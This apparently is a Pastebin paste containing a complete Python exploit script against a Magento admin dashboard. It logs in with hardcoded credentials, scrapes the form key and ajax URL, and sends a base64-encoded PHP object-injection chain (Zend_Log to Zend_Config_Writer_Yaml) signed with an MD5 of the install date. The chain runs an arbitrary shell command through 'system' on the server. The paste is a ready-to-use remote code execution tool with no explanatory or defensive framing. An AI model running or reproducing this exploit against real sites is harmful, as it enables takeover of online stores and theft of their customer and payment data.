Advertisement
Guest User

Untitled

a guest
May 11th, 2019
127
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.39 KB | None | 0 0
  1. from hashlib import md5
  2. import sys
  3. import re
  4. import base64
  5. import mechanize
  6.  
  7.  
  8. def usage():
  9. print "Usage: python %s <target> <argument>\nExample: python %s http://localhost \"uname -a\""
  10. sys.exit()
  11.  
  12.  
  13. if len(sys.argv) != 3:
  14. usage()
  15.  
  16. # Command-line args
  17. target = sys.argv[1]
  18. arg = sys.argv[2]
  19.  
  20. # Config.
  21. username = 'hackasraka'
  22. password = 'hackasraka'
  23. php_function = 'system' # Note: we can only pass 1 argument to the function
  24. install_date = 'Wed, 08 May 2019 07:23:09 +0000' # This needs to be the exact date from /app/etc/local.xml
  25.  
  26. # POP chain to pivot into call_user_exec
  27. payload = 'O:8:\"Zend_Log\":1:{s:11:\"\00*\00_writers\";a:2:{i:0;O:20:\"Zend_Log_Writer_Mail\":4:{s:16:' \
  28. '\"\00*\00_eventsToMail\";a:3:{i:0;s:11:\"EXTERMINATE\";i:1;s:12:\"EXTERMINATE!\";i:2;s:15:\"' \
  29. 'EXTERMINATE!!!!\";}s:22:\"\00*\00_subjectPrependText\";N;s:10:\"\00*\00_layout\";O:23:\"' \
  30. 'Zend_Config_Writer_Yaml\":3:{s:15:\"\00*\00_yamlEncoder\";s:%d:\"%s\";s:17:\"\00*\00' \
  31. '_loadedSection\";N;s:10:\"\00*\00_config\";O:13:\"Varien_Object\":1:{s:8:\"\00*\00_data\"' \
  32. ';s:%d:\"%s\";}}s:8:\"\00*\00_mail\";O:9:\"Zend_Mail\":0:{}}i:1;i:2;}}' % (len(php_function), php_function,
  33. len(arg), arg)
  34. # Setup the mechanize browser and options
  35. br = mechanize.Browser()
  36. #br.set_proxies({"http": "localhost:8080"})
  37. br.set_handle_robots(False)
  38.  
  39. request = br.open(target)
  40.  
  41.  
  42. br.select_form(nr=0)
  43. br.form.new_control('text', 'login[username]', {'value': username}) # Had to manually add username control.
  44. br.form.fixup()
  45. br['login[username]'] = username
  46. br['login[password]'] = password
  47.  
  48. br.method = "POST"
  49. request = br.submit()
  50. content = request.read()
  51.  
  52.  
  53. url = re.search("ajaxBlockUrl = \'(.*)\'", content)
  54. url = url.group(1)
  55. key = re.search("var FORM_KEY = '(.*)'", content)
  56. key = key.group(1)
  57.  
  58. request = br.open(url + 'block/tab_orders/period/7d/?isAjax=true', data='isAjax=false&form_key=' + key)
  59. tunnel = re.search("src=\"(.*)\?ga=", request.read())
  60. tunnel = tunnel.group(1)
  61.  
  62. payload = base64.b64encode(payload)
  63. gh = md5(payload + install_date).hexdigest()
  64.  
  65. exploit = tunnel + '?ga=' + payload + '&h=' + gh
  66.  
  67. try:
  68. request = br.open(exploit)
  69. content = request.read()
  70. except (mechanize.HTTPError, mechanize.URLError) as e:
  71. print e.read()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement